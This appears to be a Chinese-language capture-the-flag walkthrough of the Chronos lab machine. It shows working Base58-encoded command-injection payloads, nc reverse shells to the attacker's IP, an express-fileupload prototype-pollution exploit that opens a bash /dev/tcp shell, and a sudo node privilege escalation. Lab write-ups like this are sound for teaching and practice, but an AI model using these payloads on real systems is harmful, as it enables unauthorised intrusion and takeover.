第三周信息搜集
arp-scan -l
namp -p- 192.168.56.8
nmap -p22,8000,80 -sV 192.168.56.8
扫描具体的服务
两个简单的网页
查看源代码,得到一些信息
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
很明显,这段脚本的内容似乎都是经过了编码处理,导致很难从语义,函数名称等等角度来读懂这段代码的含义
遇到这种情况,一般会对JS
代码进行美化、还原、整理操作
使用cyberchef解密出来
将JS
代码粘贴到输入框中,选择JavaScript Beautify
模块
美化后的结果
var _0x5bdf = ['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function (_0x506b95, _0x817e36) {var _0x244260 = _0x432d;while (!![]) {try {var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));if (_0x35824b === _0x817e36)break;else_0x506b95['push'](_0x506b95['shift']());} catch (_0x3fb1dc) {_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf, 831262));function _0x432d(_0x16bd66, _0x33ffa9) {return _0x432d = function (_0x5bdf82, _0x432dc8) {_0x5bdf82 = _0x5bdf82 - 126;var _0x4da6e8 = _0x5bdf[_0x5bdf82];return _0x4da6e8;}, _0x432d(_0x16bd66, _0x33ffa9);}function loadDoc() {var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();_0x2beb35[_0x17df92(137)] = function () {var _0x146f5d = _0x17df92;this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();}
有一处明文的url
地址,即http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
分析这段url
,它的主机名是chronos
就是这台靶机的名称,local
的意思是本地,恰巧靶机上的8000
端口运行着http
服务,所以有理由怀疑chronos.local:8000
指向的就是靶机本身的8000
端口
编辑kali中的hosts
文件,增加chronos.local
对应的IP
地址为靶机的IP
:192.168.56.8
执行命令:sudo vim /etc/hosts
192.168.56.8 chronos.local
再次访问,发现多增加了时间
发现真的在前端页面上多出了一段内容,接下来就应当打开burpsuite
,利用burpsuite
的代理截断功能,在重新加载页面的时候,截获所有的网络流量,分析一下整个的通信过程,加载了哪些资源,访问了哪些地址
命令注入
打开burpsuite
,关闭截断功能,配置浏览器代理,重新访问页面
从burpsuite
的HTTP history
中可以看到,浏览器首先以GET
方式请求了根路径,接着以OPTIONS
和GET
方式请求了刚刚在JS
脚本中的url
地址,并且在GET
请求的响应数据是当前时间,再定睛一看,这个响应结果就是浏览器中多出来的内容
将最后一个GET
请求包发送到Repeter
模块中,快捷键Ctrl+R
或者右键选择Send to Repeter
当任意修改这串特殊的字符串后,发送请求后服务器无响应数据,通过这样的简单测试,至少可以确定format=
后面这串字符对于请求服务端的系统时间是至关重要的
观察这段字符,发现长的样子很像base64
编码后的字符,利用CyberChef
的Magic
模块来解码数据
Magic
模块会自动分析输入的字符串可能是通过什么格式的编码来形成的
通过Magic
模块的分析,得到这串字符的编码方式为Base58
,解码后的数据为:'+Today is %A, %B %d, %Y %H:%M:%S.'
Base58和Base64的区别
Base58是用于Bitcoin中使用的一种独特的编码方式,主要用于产生Bitcoin的钱包地址。
相比Base64,Base58不使用数字”0″,字母大写”O”,字母大写”I”,和字母小写”l”,以及”+”和”/”符号。
设计Base58主要的目的是:
避免混淆。在某些字体下,数字0和字母大写O,以及字母大写I和字母小写l会非常相似。
不使用”+”和”/”的原因是非字母或数字的字符串作为帐号较难被接受。
没有标点符号,通常不会被从中间分行。
大部分的软件支持双击选择整个字符串。
但是这个base58的计算量比base64的计算量多了很多。因为58不是2的整数倍,需要不断用除法去计算。
而且长度也比base64稍微多了一点。
结合转码后字符串'+Today is %A, %B %d, %Y %H:%M:%S.'
和url
地址http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
中的date
查询参数,非常像Linux
中的date
命令
比方说命令:
date '+Today is %A, %B %d, %Y %H:%M:%S.'
%A : 星期几 (Sunday..Saturday)%B : 月份 (January..December)%d : 日 (01..31)%Y : 完整年份 (0000..9999)%H : 小时(00..23)%M : 分钟(00..59)%S : 秒(00..61)%A : 星期几 (Sunday..Saturday)%B : 月份 (January..December)%d : 日 (01..31)%Y : 完整年份 (0000..9999)%H : 小时(00..23)%M : 分钟(00..59)%S : 秒(00..61)
当产生这个怀疑并进行简单测试之后,初步推测:当访问这段http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
地址时,服务端执行的就是Linux date
系统命令,如果执行的是系统指令,那么就应该可以通过诸如,
、管道符
、||
、&&
来注入更多的命令,从而实现反弹shell
首先构造Payload
,进行base58
编码后提交到服务端,验证猜想,Payload
如下
&& ls
base58编码后
5Jdixo4
将5Jdixo4
作为参数值提交到服务端
返回的结果列出了当前目录下的文件,真的有命令注入漏洞
反弹shell
既然验证出了有命令注入漏洞,就应当利用这个漏洞来反弹shell
命令注入漏洞反弹shell
时首选nc
,因为nc
的适用范围特别广,如果目标靶机上存在nc
的话就不用再花时间上传别的工具上去,直接通过nc反弹shell
查看目标靶机是否存在nc
构造Payload
&& ls /bin
base58编码后
39JyvVr3FjbwAV
这次运行成功,首先看到目标靶机有bash
,所以在反弹shell
时可以选择它
搜索是否存在nc
结果显示目标靶机上是存在nc
的
测试此nc
是否可以正常运行,是否能够建立基本连接
先在kali上侦听4444
端口
执行命令:
nc -nvlp 4444
构造Payload
Payload | base58编码后 |
---|---|
&& nc 192.168.56.6 4444 | nhdnkRskymEuSDw6ErpGPBWwtPRifLf |
响应的结果说发生了一些错误,但是连接已经成功建立了,说明目标靶机上存在nc
且可以正常建立连
测试此nc
带不带-e
参数,如果有直接利用-e
参数反弹shell
,如果没有则利用靶机02中的方法NC串联
来反弹shell
在kali端重新侦听4444
端口
构造Payload
&& nc 192.168.56.6 4444 -e /bin/bash
base58编码后
HoTsTgb8DRfcHGtHbJh7XyeE8QoxTuVMwopA1Vt6zRFKeL8Fy
并没有建立起连接
尝试使用nc串联
基本可以判断目标靶机上的nc
不带-e参数
不得不选择NC串联
方法来反弹shell
在kali端侦听4444
和5555
端口
构造Payload
&& nc 192.168.56.6 4444 |/bin/bash |nc 192.168.56.6 5555
base58编码后
22vS8b4xZnWLPZ67r7KJ6yMxacHZX8c3WZSn4yRVwLgH8cKQ4CaA9PpBP79orDr98zHQUmyJbsTEC
两个端口成功上线
反弹shell
成功,由于利用的是web
服务器上的命令注入漏洞获取到的shell
,所以默认所处的路径应该是当前web
应用所在的应用程序放置路径
打点
查看所有的用户账号
利用nc
在目标靶机上执行命令:
cat /etc/passwd
查看到目标靶机上存在可以登录的imera
账号
去这个账号的主目录下看看都有什么文件
cd /homelscd imeralscat user.txtls -al
发现这个账号并没有权限查看文件
express-fileupload提权
在/opt/chronos
下存放着web应用
服务端的代码
但是这个web应用
服务端程序是通过Node.js
使用JavaScript
语言来开发
Node.js最初由个人开发,现在交于Node.js基金会来进行维护
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
基于Node.js开发应用程序通常都会基于已有的框架和库,例如
Socket.io
、Express
、Axios
,而针对web应用
开发的话最常用的就是Express
尝试对目标靶机的web应用
进行代码审计
每个基于
Node.js
开发项目的根目录下面,一般都有一个package.json
文件,定义了这个项目所需要的各种模块,以及项目的配置信息(比如名称、版本、许可证等元数据)。npm install
命令根据这个配置文件,自动下载所需的模块,也就是配置项目所需的运行和开发环境。
查看package.json
文件内容
发现web应用
使用的是Express
框架来开发的
{ "dependencies": { "bs58": "^4.0.1", "cors": "^2.8.5", "express": "^4.17.1" }}
继续查看web应用
后端主文件app.js
内容
// created by alienum for Penetration Testing// 加载用到的库const express = require('express');const { exec } = require("child_process");const bs58 = require('bs58');const app = express();// web应用运行在8000端口,与nmap扫描结果相印证const port = 8000;const cors = require('cors');app.use(cors());// 路由的配置app.get('/', (req,res) =>{ res.sendFile("/var/www/html/index.html");});// 路由的配置app.get('/date', (req, res) => { var agent = req.headers['user-agent']; // Linux date命令 var cmd = 'date '; // 提取请求url中的format查询参数的值 const format = req.query.format; // 进行base58解码 const bytes = bs58.decode(format); var decoded = bytes.toString(); // 拼接完整date命令 var concat = cmd.concat(decoded); // 到这里发现从客户端提交上来的数据没有进行任何的消毒,过滤,直接进行了拼接,也验证了命令注入漏洞的原理 // 如果http请求数据包中的user-agent字段的值是Chronos话才允许访问 if (agent === 'Chronos') { // 请求参数包含id whoami python nc bash php which socat这些特征字符的就返回Something went wrong,这也验证了在利用nc反弹shell时为什么服务端会响应Something went wrong // 但是也只是仅仅做了这么个检查,检查到了返回一个错误信息,却并没有阻断执行,这也是服务端防护不完善的地方 if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) { res.send("Something went wrong"); } exec(concat, (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } res.send(stdout); }); } else{ res.send("Permission Denied"); }})app.listen(port,() => { console.log(`Server running at ${port}`);})
解析app路由
解析后发现这段源码似乎对提权也并没有帮助,不得不继续在目标靶机上做信息收集,又一番折腾过后
在/opt
目录下还存在/chronos-v2
目录
cd backend
搜索后发现依然存在package.json
文件,查看一下内容,看看都用到了哪些库,而这些库是否存在某些已公开的提权漏洞
cat package.json
{ "name": "some-website", "version": "1.0.0", "description": "", "main": "server.js", "scripts": { "start": "node server.js" }, "author": "", "license": "ISC", "dependencies": { "ejs": "^3.1.5", "express": "^4.17.1", "express-fileupload": "^1.1.7-alpha.3" }}
ejs:是一套简单的模板语言,帮你利用普通的 JavaScript 代码生成 HTML 页面。express:基于 Node.js 平台,快速、开放、极简的 Web 开发框架。express-fileupload:用于上传文件的Simple Express中间件。
ejs
和express
都没有给机会,但是express-fileupload
给了提权一线曙光
查看服务端代码文件server.js
// 加载用到的库const express = require('express');const fileupload = require("express-fileupload");const http = require('http')const app = express();// 将parseNested设置为了trueapp.use(fileupload({ parseNested: true }));// 设置模板引擎和页面app.set('view engine', 'ejs');app.set('views', "/opt/chronos-v2/frontend/pages");// 路由配置app.get('/', (req, res) => { res.render('index')});// 启动在127.0.0.1的8080端口// 这也解释了为什么在扫描的时候没有发现这个web应用const server = http.Server(app);const addr = "127.0.0.1"const port = 8080;server.listen(port, addr, () => { console.log('Server listening on ' + addr + ' port ' + port);});
模块express-fileupload
存在的一个漏洞
在这篇文章中比较详细的介绍了这个漏洞类型:NodeJS module downloaded 7M times lets hackers inject code (bleepingcomputer.com),并且还有一个链接链接到了这个漏洞最初发现者的原始博客文章:Real-world JS – 1 (p6.is),而在最初发现者的文章中完整的介绍了这个漏洞是如何产生的、背后的原理以及如何进行漏洞利用
根据这篇文章得知当开启app.use(fileupload({ parseNested: true }));
时,漏洞则会存在,回去检查一下靶机服务端代码文件,发现正好开启了这个功能,真的有可能成功利用这个漏洞获得提权的效果
在这篇文章的最后部分,作者贴心的写上了简化的漏洞利用代码,是一段python
代码
import requests# 定义反弹shell的操作指令,p6.is/8888为kali的IP和端口cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'# pollute# 原形污染的攻击性代码,p6.is:7777是要攻击的web应用的服务地址和端口requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command# p6.is:7777是要攻击的web应用的服务地址和端口requests.get('http://p6.is:7777')
将其中的地址和端口改成正确的
import requestscmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.6/4444 0>&1"'#此处的192.168.56.6请改成你自己的本机IP# polluterequests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute commandrequests.get('http://127.0.0.1:8080')
首先在kali上创建这个文件,保存为exp.py
利用python开启一个服务,将文件传输到靶机中
python -m http.server 80
进入tmp
目录中,下载本机的exp
cd /tmp #tmp目录下利于操作wget http://192.168.56.6/exp.py
在kali端侦听4444
端口
在目标靶机上执行exp.py
python3 exp.py
成功在kali上获得到了反弹shell
提权获取的账号是imera
sudo+Node.js提权
尝试使用sudo
提权
sudo -l
发现有可乘之机,框框中的两行表示在不需要密码的情况下就能以root
权限运行npm
和node
这两个命令
使用下列的Payload
# 通过调用node生成一个子进程,而在这个子进程中执行的就是/bin/bashsudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
提权成功